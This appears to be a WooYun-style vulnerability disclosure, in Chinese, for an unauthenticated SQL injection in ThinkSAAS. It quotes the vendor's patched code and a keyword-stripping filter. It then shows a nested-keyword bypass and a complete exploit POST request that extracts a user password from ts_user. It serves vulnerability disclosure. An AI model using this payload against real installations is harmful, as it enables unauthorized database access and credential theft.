### 简要描述:
ThinkSAAS最新版绕过过滤继续注入。
无gpc限制,无需登录认证。
### 详细说明:
旧版本分析如下: [WooYun: ThinkSAAS SQL注入#6](http://www.wooyun.org/bugs/wooyun-2013-046826)
在新版本里进行了两处修复:
第一处修复,文件\app\tag\action\add.php:
```
case "do":
$objname = tsFilter($_POST['objname']);
$idname = tsFilter($_POST['idname']);
$objid = intval($_POST['objid']);
$tags = t($_POST['tags']);
$new['tag']->addTag($objname,$idname,$objid,$tags);
tsNotice('标签添加成功!');
break;
```
把之前的t函数换成了tsFilter函数。
第二处修复,文件\thinksaas\tsApp.php:
```
foreach ( $row as $key => $value ) {
$value = $this->escape ( $value );
//$vals [] = "`$key` = $value";
$vals [] = "{$key} = {$value}";
```
对$value变量进行了escape过滤
添加了新的构造sql语句的赋值语句
但是这种修补我们依然可以进行注入。
来看看tsFilter函数:
```
function tsFilter($value){
$value = trim($value);
//定义不允许提交的SQl命令和关键字
$words = array();
$words[] = "add ";
$words[] = "and ";
$words[] = "count ";
$words[] = "order ";
$words[] = "table ";
$words[] = "by ";
$words[] = "create ";
$words[] = "delete ";
$words[] = "drop ";
$words[] = "from ";
$words[] = "grant ";
$words[] = "insert ";
$words[] = "select ";
$words[] = "truncate ";
$words[] = "update ";
$words[] = "use ";
$words[] = "--";
$words[] = "#";
$words[] = "group_concat";
$words[] = "column_name";
$words[] = "information_schema.columns";
$words[] = "table_schema";
$words[] = "union ";
$words[] = "where ";
$words[] = "alert";
$value = strtolower($value);//转换为小写
foreach($words as $word){
if(strstr($value,$word)){
$value = str_replace($word,'',$value);
}
}
return $value;
}
```
这个很容易的就可以看出,诸如将“select”改为“selselect ect”,就可以绕过过滤。
所以最终可以注入出数据的exp为:
EXP:
```
链接:http://localhost/thinksaas/index.php?app=tag&ac=add&ts=do
post:objname=article=1, tagname=(selselect ect pwd frofrom m ts_user limit 0,1), count_group&idname=1&objid=1&tags=111111
```
[<img src="https://images.seebug.org/upload/201403/11130241c3aefbdb9bf62dc449a6268c5990641b.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/11130241c3aefbdb9bf62dc449a6268c5990641b.png)
[<img src="https://images.seebug.org/upload/201403/111302488e036adcf4c7bdfd99acf6f0b6d8fdff.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/111302488e036adcf4c7bdfd99acf6f0b6d8fdff.png)
### 漏洞证明:
见详细说明
暂无评论